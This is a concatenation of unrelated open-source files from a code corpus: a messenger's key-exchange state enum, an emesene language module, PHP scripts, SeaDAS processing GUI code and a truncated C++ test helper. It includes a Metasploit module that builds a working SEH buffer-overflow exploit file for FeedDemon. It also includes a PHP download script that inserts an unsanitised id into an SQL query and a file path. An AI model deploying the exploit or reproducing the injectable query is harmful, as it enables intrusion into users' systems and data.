package biz.dealnote.messenger.crypt; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import androidx.annotation.IntDef; /** * Created by admin on 08.10.2016. * phoenix */ @IntDef({SessionState.INITIATOR_EMPTY, SessionState.NO_INITIATOR_EMPTY, SessionState.INITIATOR_STATE_1, SessionState.NO_INITIATOR_STATE_1, SessionState.INITIATOR_STATE_2, SessionState.INITIATOR_FINISHED, SessionState.NO_INITIATOR_FINISHED, SessionState.FAILED, SessionState.CLOSED}) @Retention(RetentionPolicy.SOURCE) public @interface SessionState { /** * Сессия не начата */ int INITIATOR_EMPTY = 1; /** * Сессия не начата */ int NO_INITIATOR_EMPTY = 2; /** * Начальный этап сессии обмена ключами * Я, как инициатор, отправил свой публичный ключ * и жду, пока мне в ответ отправят AES-ключ, зашифрованный этим публичным ключом */ int INITIATOR_STATE_1 = 3; /** * Получен запрос от инициатора на обмен ключами * В сообщении должен быть публичный ключ инициатора, * Я отправил ему AES-ключ, зашифрованный ЕГО публичным ключом. * В то же время я вложил в сообщение свой публичный ключ, * чтобы инициатор отправил в ответ свой AES-ключ */ int NO_INITIATOR_STATE_1 = 4; /** * Я - инициатор обмена * Получен AES-ключ от собеседника и его публичный ключ * Я в ответ отправил ему свой AES-ключ, зашифрованный его публичным ключом */ int INITIATOR_STATE_2 = 5; /** * Получен запрос от собеседника на успешное закрытие сессии обмена ключами * Собеседнику отправляем пустое сообщение как подтверждение успешного обмена */ int NO_INITIATOR_FINISHED = 6; /** * Отправляем подтверждение получение ключа и запрос на завершение сессии * Собеседнику отправляем пустое сообщение как подтверждение успешного обмена */ int INITIATOR_FINISHED = 7; int CLOSED = 8; int FAILED = 9; }
PhoenixDevTeam/Phoenix-for-VK
app/src/main/java/biz/dealnote/messenger/crypt/SessionState.java
Java
gpl-3.0
2,719
'''Language module, allows the user to change the language on demand''' # -*- coding: utf-8 -*- # This file is part of emesene. # # emesene is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # emesene is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with emesene; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os import gettext import locale import glob class Language(object): """ A class for language management """ NAME = 'Language' DESCRIPTION = 'Language management module' AUTHOR = 'Lucas F. Ottaviano (lfottaviano)' WEBSITE = 'www.emesene.org' LANGUAGES_DICT = {'af':'Afrikaans', 'ar':'\xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9', 'ast':'Asturianu', 'az':'\xd8\xa2\xd8\xb0\xd8\xb1\xd8\xa8\xd8\xa7\xdb\x8c\xd8\xac\xd8\xa7\xd9\x86 \xd8\xaf\xdb\x8c\xd9\x84\xdb\x8c', 'bg':'\xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 \xd0\xb5\xd0\xb7\xd0\xb8\xd0\xba', 'bn':'\xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe', 'bs':'\xd0\xb1\xd0\xbe\xd1\x81\xd0\xb0\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8', 'ca':'Catal\xc3\xa0', 'cs':'\xc4\x8de\xc5\xa1tina', 'da':'Danish', 'de':'Deutsch', 'dv':'\xde\x8b\xde\xa8\xde\x88\xde\xac\xde\x80\xde\xa8', 'el':'\xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac', 'en':'English', 'en_AU':'English (Australia)', 'en_CA':'English (Canada)', 'en_GB':'English (United Kingdom)', 'eo':'Esperanto', 'es':'Espa\xc3\xb1ol', 'et':'Eesti keel', 'eu':'Euskara', 'fi':'Suomi', 'fil':'Filipino', 'fo':'F\xc3\xb8royskt', 'fr':'Fran\xc3\xa7ais', 'ga':'Gaeilge', 'gl':'Galego', 'gv':'Gaelg', 'he':'\xd7\xa2\xd6\xb4\xd7\x91\xd6\xb0\xd7\xa8\xd6\xb4\xd7\x99\xd7\xaa', 'hr':'Hrvatski', 'hu':'Magyar', 'ia':'Interlingua', 'id':'Bahasa Indonesia', 'is':'\xc3\x8dslenska', 'it':'Italiano', 'ja':'\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e', 'kab':'Taqbaylit', 'kn':'Kanna\xe1\xb8\x8da', 'ko':'\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4/\xec\xa1\xb0\xec\x84\xa0\xeb\xa7\x90', 'ku':'\xda\xa9\xd9\x88\xd8\xb1\xd8\xaf\xdb\x8c', 'la':'Lat\xc4\xabna', 'lb':'L\xc3\xabtzebuergesch', 'lt':'Lietuvi\xc5\xb3', 'lv':'Latvie\xc5\xa1u valoda', 'mk':'\xd0\x9c\xd0\xb0\xd0\xba\xd0\xb5\xd0\xb4\xd0\xbe\xd0\xbd\xd1\x81\xd0\xba\xd0\xb8 \xd1\x98\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xba', 'ms':'\xd8\xa8\xd9\x87\xd8\xa7\xd8\xb3 \xd9\x85\xd9\x84\xd8\xa7\xd9\x8a\xd9\x88', 'nan':'\xe9\x96\xa9\xe5\x8d\x97\xe8\xaa\x9e / \xe9\x97\xbd\xe5\x8d\x97\xe8\xaf\xad', 'nb':'Norwegian Bokm\xc3\xa5l', 'nds':'Plattd\xc3\xbc\xc3\xbctsch', 'nl':'Nederlands', 'nn':'Norwegian Nynorsk', 'oc':'Occitan (post 1500)', 'pl':'J\xc4\x99zyk Polski', 'pt':'Portugu\xc3\xaas', 'pt_BR':'Portugu\xc3\xaas Brasileiro', 'ro':'Rom\xc3\xa2n\xc4\x83', 'ru':'\xd1\x80\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd1\x8f\xd0\xb7\xd1\x8b\xd0\xba', 'sk':'Sloven\xc4\x8dina', 'sl':'Sloven\xc5\xa1\xc4\x8dina', 'sq':'Shqip', 'sr':'\xd1\x81\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xb8', 'sv':'Svenska', 'ta':'\xe0\xae\xa4\xe0\xae\xae\xe0\xae\xbf\xe0\xae\xb4\xe0\xaf\x8d', 'th':'\xe0\xb8\xa0\xe0\xb8\xb2\xe0\xb8\xa9\xe0\xb8\xb2\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2', 'tr':'T\xc3\xbcrk\xc3\xa7e', 'uk':'\xd1\x83\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xcc\x81\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xd0\xbc\xd0\xbe\xcc\x81\xd0\xb2\xd0\xb0', 'vec':'V\xc3\xa8neto', 'zh_CN':'\xe7\xae\x80\xe4\xbd\x93\xe5\xad\x97', 'zh_HK':'\xe6\xb1\x89\xe8\xaf\xad/\xe6\xbc\xa2\xe8\xaa\x9e (\xe9\xa6\x99\xe6\xb8\xaf\xe4\xba\xba)', 'zh_TW':'\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87'} def __init__(self): """ constructor """ self._languages = None self._default_locale = locale.getdefaultlocale()[0] self._lang = os.getenv('LANGUAGE') or self._default_locale self._locales_path = 'po/' if os.path.exists('po/') else None self._get_languages_list() def install_desired_translation(self, language): """ installs translation of the given @language @language, a string with the language code or None """ if language is not None: #if default_locale is something like es_UY or en_XX, strip the end #if it's not in LANGUAGES_DICT if language not in self.LANGUAGES_DICT.keys(): language = language.split("_")[0] self._lang = language os.putenv('LANGUAGE', language) # gettext.translation() receives a _list_ of languages, so make it a list. language = [language] #now it's a nice language in LANGUAGE_DICT or, if not, it's english or #some unsupported translation so we fall back to english in those cases translation = gettext.translation('emesene', localedir=self._locales_path, languages=language, fallback=True) if not isinstance(translation, gettext.GNUTranslations): self._lang = 'en' translation.install() def install_default_translation(self): """ installs a translation relative to system enviroment """ language = os.getenv('LANGUAGE') or self._default_locale self.install_desired_translation(language) # Getters def get_default_locale(self): """ returns default locale obtained assigned only on object instantiation from locale python module """ return self._default_locale def get_lang(self): """ returns the current language code that has been used for translation """ return self._lang def get_locales_path(self): """ returns the locales path """ return self._locales_path def get_available_languages(self): """ returns a list of available languages """ return self._get_languages_list() def _get_languages_list(self): """ fills languages list""" if self._languages is None: paths = glob.glob(os.path.join(self._locales_path, '*', 'LC_MESSAGES', 'emesene.mo')) self._languages = [path.split(os.path.sep)[-3] for path in paths] self._languages.append('en') self._languages.sort() return self._languages _instance = None def get_language_manager(): '''instance Language object, if needed. otherwise, return it''' global _instance if _instance: return _instance _instance = Language() return _instance
emesene/emesene
emesene/Language.py
Python
gpl-3.0
7,488
<?php F::GetSubmit("id"); if($id) { $sql = "SELECT name FROM file_doc WHERE file_id = $id"; $name = $DB->GetOne($sql); $path = dirname($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])."/root/".$id; // Force the download header('Cache-Control: private'); header('Pragma: private'); header("Cache-Control: no-cache, must-revalidate"); header("Content-Disposition: attachment; filename=\"".$name."\""); header("Content-Length: ".filesize($path)); header("Content-Type: application/application/octet-stream;"); //header("Content-Type: application/force-download"); //header('Content-Disposition: attachment; filename="'.$name.'"'); //header('Content-type: application/octet-stream'); //header("Content-Type: application/force-download"); @ readfile($path); } ?>
yoursun0/leave
Download.php
PHP
gpl-3.0
773
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package NetSpace; import java.lang.instrument.Instrumentation; /** * * @author ubuntu */ public class Main { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here NetSpace.client.LoginWindow Client = new NetSpace.client.LoginWindow(1501); Client.setVisible(true); } }
A-Malone/net-space
src/NetSpace/Main.java
Java
gpl-3.0
502
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FeedDemon Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009. }, 'License' => MSF_LICENSE, 'Author' => [ 'fl0 fl0w', # Original Exploit 'dookie', # MSF Module 'jduck' # SEH + AlphanumMixed fixes ], 'References' => [ [ 'CVE', '2009-0546' ], [ 'OSVDB', '51753' ], [ 'BID', '33630' ], [ 'EDB', '7995' ], [ 'EDB', '8010' ], [ 'EDB', '11379' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff", 'DisableNops' => true, # We are not strictly limited to alphanumeric. However, currently # no encoder can handle our bad character set. 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ # Tested OK on XPSP3 - jduck [ 'Windows Universal', { 'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 09 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']), ], self.class) end def exploit head_opml = '<opml version="1.1">' head_opml << '<body>' head_opml << '<outline text="' header = "\xff\xfe" # Unicode BOM header << Rex::Text.to_unicode(head_opml) foot_opml = '">' foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>' foot_opml << '</outline>' foot_opml << '</body>' foot_opml << '</opml>' footer = Rex::Text.to_unicode(foot_opml) # Set ECX to point to the alphamixed encoded buffer (IIIII...) # We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8 off = 0x1ff2 set_ecx_asm = %Q| mov ecx, [esp+8] sub ecx, #{0x01010101 + off} add ecx, 0x01010101 | set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string # Jump back to the payload, after p/p/r jumps to us. # NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars.. # 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself distance = 0x1ffd + 8 + 5 jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # SEH seh_frame = generate_seh_record(target.ret) # Assemble everything together sploit = '' sploit << set_ecx sploit << payload.encoded sploit << rand_text_alphanumeric(8194 - sploit.length) sploit << seh_frame sploit << jmp_back sploit << rand_text_alphanumeric(8318 - sploit.length) # Ensure access violation reading from smashed pointer num = rand_text(4).unpack('V')[0] sploit << [num | 0x80000000].pack('V') evil = header + sploit + footer print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(evil) end end
cSploit/android.MSF
modules/exploits/windows/fileformat/feeddemon_opml.rb
Ruby
gpl-3.0
4,129
<?php require 'includes/functions.php'; include_once 'config.php'; $companyName = $_POST['companyName']; $latitude = $_POST['latitude']; $longitude = $_POST['longitude']; $address = $_POST['address']; $yearOfExistance = $_POST['yearOfExistance']; $insertCompany = new InsertCost; $response = $insertCompany->putCompany ($companyName, $latitude, $longitude, $address, $yearOfExistance); if ($response == 'true') { echo "inserted"; } else { //Failure mySqlErrors($response); } ?>
sudikrt/cost_prediction
login/insertCompany.php
PHP
gpl-3.0
569
package gov.nasa.gsfc.seadas.processing.common; import com.bc.ceres.core.CoreException; import com.bc.ceres.core.ProgressMonitor; import com.bc.ceres.core.runtime.ConfigurationElement; import com.bc.ceres.core.runtime.RuntimeContext; import com.bc.ceres.swing.progress.ProgressMonitorSwingWorker; import gov.nasa.gsfc.seadas.OCSSWInfo; import gov.nasa.gsfc.seadas.ProcessorTypeInfo; import gov.nasa.gsfc.seadas.ocssw.OCSSW; import gov.nasa.gsfc.seadas.processing.core.L2genData; import gov.nasa.gsfc.seadas.processing.core.ParamUtils; import gov.nasa.gsfc.seadas.processing.core.ProcessObserver; import gov.nasa.gsfc.seadas.processing.core.ProcessorModel; import org.esa.beam.framework.dataio.ProductIO; import org.esa.beam.framework.ui.AppContext; import org.esa.beam.framework.ui.ModalDialog; import org.esa.beam.framework.ui.UIUtils; import org.esa.beam.framework.ui.command.CommandEvent; import org.esa.beam.framework.ui.command.CommandManager; import org.esa.beam.visat.VisatApp; import org.esa.beam.visat.actions.AbstractVisatAction; import javax.swing.*; import java.awt.*; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.io.File; import java.io.IOException; import java.util.Arrays; import java.util.StringTokenizer; import java.util.concurrent.ExecutionException; import java.util.regex.Matcher; import java.util.regex.Pattern; import static gov.nasa.gsfc.seadas.ocssw.OCSSW.UPDATE_LUTS_PROGRAM_NAME; import static org.esa.beam.util.SystemUtils.getApplicationContextId; /** * @author Norman Fomferra * @author Aynur Abdurazik * @since SeaDAS 7.0 */ public class CallCloProgramAction extends AbstractVisatAction { public static final String CONTEXT_LOG_LEVEL_PROPERTY = getApplicationContextId() + ".logLevel"; public static final String LOG_LEVEL_PROPERTY = "logLevel"; private static final Pattern PATTERN = Pattern.compile("^(([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d\\d?|2[0-4]\\d|25[0-5])$"); private String programName; private String dialogTitle; private String xmlFileName; private boolean printLogToConsole = false; private boolean openOutputInApp = true; protected OCSSW ocssw; protected OCSSWInfo ocsswInfo = OCSSWInfo.getInstance(); @Override public void configure(ConfigurationElement config) throws CoreException { programName = getConfigString(config, "programName"); if (programName == null) { throw new CoreException("Missing DefaultOperatorAction property 'programName'."); } dialogTitle = getValue(config, "dialogTitle", programName); xmlFileName = getValue(config, "xmlFileName", ParamUtils.NO_XML_FILE_SPECIFIED); super.configure(config); //super.setEnabled(programName.equals(OCSSWInfo.OCSSW_INSTALLER_PROGRAM_NAME) || ocsswInfo.isOCSSWExist()); } public String getXmlFileName() { return xmlFileName; } public CloProgramUI getProgramUI(AppContext appContext) { if (programName.indexOf("extract") != -1) { return new ExtractorUI(programName, xmlFileName, ocssw); } else if (programName.indexOf("modis_GEO") != -1 || programName.indexOf("modis_L1B") != -1) { return new ModisGEO_L1B_UI(programName, xmlFileName, ocssw); } else if (programName.indexOf(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) != -1) { ocssw.downloadOCSSWInstaller(); if (!ocssw.isOcsswInstalScriptDownloadSuccessful()) { return null; } if (ocsswInfo.getOcsswLocation().equals(OCSSWInfo.OCSSW_LOCATION_LOCAL)) { return new OCSSWInstallerFormLocal(appContext, programName, xmlFileName, ocssw); } else { return new OCSSWInstallerFormRemote(appContext, programName, xmlFileName, ocssw); } }else if ( programName.indexOf("update_luts.py") != -1 ) { return new UpdateLutsUI(programName, xmlFileName, ocssw); } return new ProgramUIFactory(programName, xmlFileName, ocssw);//, multiIFile); } public static boolean validate(final String ip) { return PATTERN.matcher(ip).matches(); } public void initializeOcsswClient() { ocssw = OCSSW.getOCSSWInstance(); ocssw.setProgramName(programName); } @Override public void actionPerformed(CommandEvent event) { SeadasLogger.initLogger("ProcessingGUI_log_" + System.getProperty("user.name"), printLogToConsole); SeadasLogger.getLogger().setLevel(SeadasLogger.convertStringToLogger(RuntimeContext.getConfig().getContextProperty(LOG_LEVEL_PROPERTY, "OFF"))); initializeOcsswClient(); final AppContext appContext = getAppContext(); final CloProgramUI cloProgramUI = getProgramUI(appContext); if (cloProgramUI == null) { return; } final Window parent = appContext.getApplicationWindow(); final ModalDialog modalDialog = new ModalDialog(parent, dialogTitle, cloProgramUI, ModalDialog.ID_OK_APPLY_CANCEL_HELP, programName); modalDialog.getButton(ModalDialog.ID_OK).setEnabled(cloProgramUI.getProcessorModel().isReadyToRun()); modalDialog.getJDialog().setMaximumSize(modalDialog.getJDialog().getPreferredSize()); cloProgramUI.getProcessorModel().addPropertyChangeListener(cloProgramUI.getProcessorModel().getRunButtonPropertyName(), new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { if (cloProgramUI.getProcessorModel().isReadyToRun()) { modalDialog.getButton(ModalDialog.ID_OK).setEnabled(true); } else { modalDialog.getButton(ModalDialog.ID_OK).setEnabled(false); } modalDialog.getJDialog().pack(); } }); cloProgramUI.getProcessorModel().addPropertyChangeListener("geofile", new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { modalDialog.getJDialog().validate(); modalDialog.getJDialog().pack(); } }); cloProgramUI.getProcessorModel().addPropertyChangeListener("infile", new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { modalDialog.getJDialog().validate(); modalDialog.getJDialog().pack(); } }); modalDialog.getButton(ModalDialog.ID_OK).setText("Run"); modalDialog.getButton(ModalDialog.ID_HELP).setText(""); modalDialog.getButton(ModalDialog.ID_HELP).setIcon(UIUtils.loadImageIcon("icons/Help24.gif")); //Make sure program is only executed when the "run" button is clicked. ((JButton) modalDialog.getButton(ModalDialog.ID_OK)).setDefaultCapable(false); modalDialog.getJDialog().getRootPane().setDefaultButton(null); final int dialogResult = modalDialog.show(); SeadasLogger.getLogger().info("dialog result: " + dialogResult); if (dialogResult != ModalDialog.ID_OK) { cloProgramUI.getProcessorModel().getParamList().clearPropertyChangeSupport(); cloProgramUI.getProcessorModel().fireEvent(L2genData.CANCEL); return; } modalDialog.getButton(ModalDialog.ID_OK).setEnabled(false); final ProcessorModel processorModel = cloProgramUI.getProcessorModel(); programName = processorModel.getProgramName(); openOutputInApp = cloProgramUI.isOpenOutputInApp(); if (!ocssw.isProgramValid()) { return; } if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) && !ocssw.isOcsswInstalScriptDownloadSuccessful()) { displayMessage(programName, "ocssw installation script does not exist." + "\n" + "Please check network connection and rerun ''Install Processor''"); return; } if (programName.equals(UPDATE_LUTS_PROGRAM_NAME)) { String message = ocssw.executeUpdateLuts(processorModel); VisatApp.getApp().showInfoDialog(dialogTitle, message, null); } else { executeProgram(processorModel); } SeadasLogger.deleteLoggerOnExit(true); cloProgramUI.getProcessorModel().fireEvent(L2genData.CANCEL); } /** * @param pm is the model of the ocssw program to be exeuted * @output this is executed as a native process */ public void executeProgram(ProcessorModel pm) { final ProcessorModel processorModel = pm; ProgressMonitorSwingWorker swingWorker = new ProgressMonitorSwingWorker<String, Object>(getAppContext().getApplicationWindow(), "Running " + programName + " ...") { @Override protected String doInBackground(ProgressMonitor pm) throws Exception { ocssw.setMonitorProgress(true); final Process process = ocssw.execute(processorModel);//ocssw.execute(processorModel.getParamList()); //OCSSWRunnerOld.execute(processorModel); if (process == null) { throw new IOException(programName + " failed to create process."); } final ProcessObserver processObserver = ocssw.getOCSSWProcessObserver(process, programName, pm); final ConsoleHandler ch = new ConsoleHandler(programName); if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME)) { processObserver.addHandler(new InstallerHandler(programName, processorModel.getProgressPattern())); } else { processObserver.addHandler(new ProgressHandler(programName, processorModel.getProgressPattern())); } processObserver.addHandler(ch); processObserver.startAndWait(); processorModel.setExecutionLogMessage(ch.getExecutionErrorLog()); int exitCode = processObserver.getProcessExitValue(); if (exitCode == 0) { pm.done(); String logDir = ocsswInfo.getLogDirPath(); SeadasFileUtils.writeToDisk(logDir + File.separator + "OCSSW_LOG_" + programName + ".txt", "Execution log for " + "\n" + Arrays.toString(ocssw.getCommandArray()) + "\n" + processorModel.getExecutionLogMessage()); } else { throw new IOException(programName + " failed with exit code " + exitCode + ".\nCheck log for more details."); } ocssw.setMonitorProgress(false); return processorModel.getOfileName(); } @Override protected void done() { try { final String outputFileName = get(); ocssw.getOutputFiles(processorModel); displayOutput(processorModel); VisatApp.getApp().showInfoDialog(dialogTitle, "Program execution completed!\n" + ((outputFileName == null) ? "" : (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) ? "" : ("Output written to:\n" + outputFileName))), null); if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) && ocsswInfo.getOcsswLocation().equals(OCSSWInfo.OCSSW_LOCATION_LOCAL)) { ocssw.updateOCSSWRoot(processorModel.getParamValue("--install-dir")); if (!ocssw.isOCSSWExist()) { enableProcessors(); } } if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME)) { ocssw.updateOCSSWProgramXMLFiles(); ocssw.updateL2genProductInfoXMLFiles(); } ProcessorModel secondaryProcessor = processorModel.getSecondaryProcessor(); if (secondaryProcessor != null) { ocssw.setIfileName(secondaryProcessor.getParamValue(secondaryProcessor.getPrimaryInputFileOptionName())); int exitCode = ocssw.execute(secondaryProcessor.getParamList()).exitValue(); if (exitCode == 0) { VisatApp.getApp().showInfoDialog(secondaryProcessor.getProgramName(), secondaryProcessor.getProgramName() + " done!\n", null); } } } catch (InterruptedException e) { e.printStackTrace(); } catch (ExecutionException e) { displayMessage(programName, "execution exception: " + e.getMessage() + "\n" + processorModel.getExecutionLogMessage()); e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } }; swingWorker.execute(); } void displayOutput(ProcessorModel processorModel) throws Exception { String ofileName = processorModel.getOfileName(); if (openOutputInApp) { File ifileDir = processorModel.getIFileDir(); StringTokenizer st = new StringTokenizer(ofileName); while (st.hasMoreTokens()) { File ofile = SeadasFileUtils.createFile(ocssw.getOfileDir(), st.nextToken()); getAppContext().getProductManager().addProduct(ProductIO.readProduct(ofile)); } } } private void enableProcessors() { CommandManager commandManager = getAppContext().getApplicationPage().getCommandManager(); String namesToExclude = ProcessorTypeInfo.getExcludedProcessorNames(); for (String processorName : ProcessorTypeInfo.getProcessorNames()) { if (!namesToExclude.contains(processorName)) { if (commandManager.getCommand(processorName) != null) { commandManager.getCommand(processorName).setEnabled(true); } } } commandManager.getCommand("install_ocssw.py").setText("Update Data Processors"); } private void displayMessage(String programName, String message) { ScrolledPane messagePane = new ScrolledPane(programName, message, this.getAppContext().getApplicationWindow()); messagePane.setVisible(true); } /** * Handler that tries to extract progress from stdout of ocssw processor */ public static class ProgressHandler implements ProcessObserver.Handler { private boolean progressSeen; private boolean stdoutOn; private int lastScan = 0; private String programName; private Pattern progressPattern; protected String currentText = "Part 1 - "; public ProgressHandler(String programName, Pattern progressPattern) { this.programName = programName; this.progressPattern = progressPattern; } @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { stdoutOn = true; if (!progressSeen) { progressSeen = true; progressMonitor.beginTask(programName, 1000); } Matcher matcher = progressPattern.matcher(line); if (matcher.find()) { int scan = Integer.parseInt(matcher.group(1)); int numScans = Integer.parseInt(matcher.group(2)); scan = (scan * 1000) / numScans; progressMonitor.worked(scan - lastScan); lastScan = scan; currentText = line; } progressMonitor.setTaskName(programName); progressMonitor.setSubTaskName(line); } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { if( !stdoutOn ) { if (!progressSeen) { progressSeen = true; progressMonitor.beginTask(programName, 1000); } Matcher matcher = progressPattern.matcher(line); if (matcher.find()) { int scan = Integer.parseInt(matcher.group(1)); int numScans = Integer.parseInt(matcher.group(2)); scan = (scan * 1000) / numScans; progressMonitor.worked(scan - lastScan); lastScan = scan; currentText = line; } progressMonitor.setTaskName(programName); progressMonitor.setSubTaskName(line); } } } public static class ConsoleHandler implements ProcessObserver.Handler { String programName; private String executionErrorLog = ""; public ConsoleHandler(String programName) { this.programName = programName; } @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { SeadasLogger.getLogger().info(programName + ": " + line); executionErrorLog = executionErrorLog + line + "\n"; } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { SeadasLogger.getLogger().info(programName + " stderr: " + line); executionErrorLog = executionErrorLog + line + "\n"; } public String getExecutionErrorLog() { return executionErrorLog; } } private static class TerminationHandler implements ProcessObserver.Handler { @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { if (progressMonitor.isCanceled()) { process.destroy(); } } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { if (progressMonitor.isCanceled()) { process.destroy(); } } } /** * Handler that tries to extract progress from stderr of ocssw_installer.py */ public static class InstallerHandler extends ProgressHandler { public InstallerHandler(String programName, Pattern progressPattern) { super(programName, progressPattern); } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { int len = line.length(); if (len > 70) { String[] parts = line.trim().split("\\s+", 2); try { int percent = Integer.parseInt(parts[0]); progressMonitor.setSubTaskName(currentText + " - " + parts[0] + "%"); } catch (Exception e) { progressMonitor.setSubTaskName(line); } } else { progressMonitor.setSubTaskName(line); } } } private class ScrolledPane extends JFrame { private JScrollPane scrollPane; public ScrolledPane(String programName, String message, Window window) { setTitle(programName); setSize(500, 500); setBackground(Color.gray); setLocationRelativeTo(window); JPanel topPanel = new JPanel(); topPanel.setLayout(new BorderLayout()); getContentPane().add(topPanel); JTextArea text = new JTextArea(message); scrollPane = new JScrollPane(); scrollPane.getViewport().add(text); topPanel.add(scrollPane, BorderLayout.CENTER); } } }
seadas/seadas
seadas-processing/src/main/java/gov/nasa/gsfc/seadas/processing/common/CallCloProgramAction.java
Java
gpl-3.0
20,043
/* * STaRS, Scalable Task Routing approach to distributed Scheduling * Copyright (C) 2012 Javier Celaya * * This file is part of STaRS. * * STaRS is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * STaRS is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with STaRS; if not, see <http://www.gnu.org/licenses/>. */ #define BOOST_TEST_DYN_LINK #include <boost/test/unit_test_log.hpp> #include <boost/filesystem/fstream.hpp> #include <map> #include <vector> #include <log4cpp/Category.hh> #include <log4cpp/Priority.hh> #include <log4cpp/PatternLayout.hh> #include <log4cpp/LayoutAppender.hh> #include <boost/test/unit_test.hpp> #include <boost/bind.hpp> #include <boost/thread.hpp> #include <sstream> #include "Time.hpp" #include "TestHost.hpp" #include "Scheduler.hpp" #include "Logger.hpp" #include "util/SignalException.hpp" using log4cpp::Category; using log4cpp::Priority; using std::shared_ptr; const boost::posix_time::ptime TestHost::referenceTime = boost::posix_time::ptime(boost::gregorian::date(2000, boost::gregorian::Jan, 1), boost::posix_time::seconds(0)); Time Time::getCurrentTime() { return TestHost::getInstance().getCurrentTime(); } CommLayer & CommLayer::getInstance() { shared_ptr<CommLayer> & current = TestHost::getInstance().getCommLayer(); if (!current.get()) { current.reset(new CommLayer); // Make io_service thread use same singleton instance //current->nm->io.dispatch(setInstance); } return *current; } ConfigurationManager & ConfigurationManager::getInstance() { shared_ptr<ConfigurationManager> & current = TestHost::getInstance().getConfigurationManager(); if (!current.get()) { current.reset(new ConfigurationManager); // Set the working path current->setWorkingPath(current->getWorkingPath() / "share/test"); // Set the memory database current->setDatabasePath(boost::filesystem::path(":memory:")); } return *current; } // Print log messages through BOOST_TEST_MESSAGE class TestAppender : public log4cpp::LayoutAppender { public: TestAppender(const std::string & name) : 